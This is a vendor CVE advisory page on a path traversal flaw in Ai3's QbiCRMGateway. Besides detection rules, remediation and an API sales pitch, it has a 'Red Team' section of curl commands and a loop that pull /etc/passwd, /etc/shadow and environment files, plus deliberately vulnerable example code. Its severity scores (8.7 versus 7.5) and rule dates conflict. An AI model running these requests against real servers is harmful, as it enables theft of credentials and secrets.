☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-9639

CVE-2025-9639 Path Traversal in Ai3
📅 PUBLISHED: 2025-08-29 03:39 UTC 🔄 UPDATED: 2026-10-11 17:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.57%
👁️
0.57% probability
14.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9639 is an Arbitrary File Reading vulnerability in the QbiCRMGateway developed by Ai3. The flaw allows an unauthenticated remote attacker to exploit Relative Path Traversal (CWE-23) to download arbitrary system files from the server. With a CVSS base score of 7.5 (High), this vulnerability poses a significant risk to confidentiality, as sensitive files such as configuration files, credentials, and application source code can be exfiltrated. No public proof-of-concept (PoC) or exploit code has been released at this time, and no patch is available from the vendor. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 7.5 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: High (C:H) – Full file read access.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete disclosure of sensitive system files, including database credentials, API keys, and application secrets.

Deep Dive & Mechanics

The QbiCRMGateway application fails to properly sanitize user-supplied input when handling file download requests. An attacker can inject relative path traversal sequences (e.g., ../) into the file path parameter to navigate outside the intended web root directory. Because the application does not validate or restrict the resulting path, the server reads and returns the contents of arbitrary files.

Root Cause: The application uses a file path parameter (e.g., file=) without checking for directory traversal patterns. The server-side code likely concatenates the user input with a base directory without normalization, allowing ../../etc/passwd to resolve to the system’s password file.

Attack Flow:

  1. Attacker identifies the vulnerable endpoint (e.g., /download?file=...).
  2. Attacker crafts a request with path traversal sequences: GET /download?file=../../../etc/passwd.
  3. The server resolves the path to /etc/passwd and returns its contents.
  4. Attacker iterates to exfiltrate other sensitive files (e.g., /etc/shadow, application configs, .env files).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable Python Flask example
@app.route('/download')
def download():
    filename = request.args.get('file')
    # No sanitization - directly opens user-supplied path
    with open(filename, 'r') as f:
        return f.read()

Patched Code (Conceptual):

import os

@app.route('/download')
def download():
    filename = request.args.get('file')
    # Sanitize: ensure file is within allowed directory
    safe_dir = '/var/www/qbicrm/uploads'
    full_path = os.path.normpath(os.path.join(safe_dir, filename))
    if not full_path.startswith(safe_dir):
        return "Access denied", 403
    with open(full_path, 'r') as f:
        return f.read()

Key Fix: The patched version normalizes the path and verifies it starts with the allowed base directory, preventing traversal outside the intended scope.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running QbiCRMGateway with vulnerable endpoint.
  • No authentication required.

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., /download?file=).
  2. Use curl to exploit:
    curl "http://target.com/download?file=../../../etc/passwd"
    
  3. For Windows targets, use backslashes:
    curl "http://target.com/download?file=..\\..\\..\\windows\\win.ini"
    
  4. Automate with a simple script:
    for file in /etc/passwd /etc/shadow /etc/hosts /proc/self/environ; do
        curl -o $(basename $file) "http://target.com/download?file=../../../$file"
    done
    

Expected Output: The server returns the contents of the requested file in the HTTP response body.

Blue Team (Detection & Response)

Detection Steps:

  • Monitor web server logs for multiple ../ sequences in request URIs.
  • Alert on requests to file download endpoints with suspicious path parameters.
  • Use WAF rules to block path traversal patterns.

Response:

  • Immediately isolate the affected server.
  • Review logs for indicators of file exfiltration.
  • Rotate any credentials that may have been exposed.
  • Apply virtual patching (e.g., WAF rule) until vendor patch is available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing ../ or ..\\ in the query string (e.g., file=../../../etc/passwd).
    • Outbound connections from the server to unknown IPs (if exfiltrating data).
  • File System IOCs:
    • Unexpected access to sensitive files (e.g., /etc/shadow, .env, web.config).
    • Modified timestamps on system files due to read operations.
  • Log IOCs:
    • Web server logs showing 200 responses to requests with path traversal patterns.
    • Error logs showing attempts to access files outside web root.

Detection Engineering

YARA Rule

rule CVE_2025_9639_Arbitrary_File_Read {
    meta:
        description = "Detects path traversal attempts targeting QbiCRMGateway"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-9639"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $endpoint = "/download?file="
    condition:
        any of ($traversal*) and $endpoint
}

Sigma Rule

title: CVE-2025-9639 Path Traversal Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting QbiCRMGateway
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains: '/download'
    condition: selection
falsepositives:
    - Legitimate use of '..' in file names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9639 QbiCRMGateway Path Traversal Attempt"; flow:to_server,established; content:"/download?file="; http_uri; content:"../"; http_uri; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint if not required for business operations.
  2. Apply a WAF rule to block path traversal patterns (e.g., ../, ..\\, URL-encoded variants).
  3. Restrict file system permissions so the web server user has minimal read access.

Long-Term Fix:

  • The vendor (Ai3) must release a patch that implements proper input validation and path sanitization.
  • Until then, consider migrating to an alternative CRM gateway solution.

Compensating Controls:

  • Implement network segmentation to limit exposure of the QbiCRMGateway.
  • Enable detailed logging and monitoring for file access anomalies.
  • Conduct regular vulnerability scans to identify similar issues.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9639/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.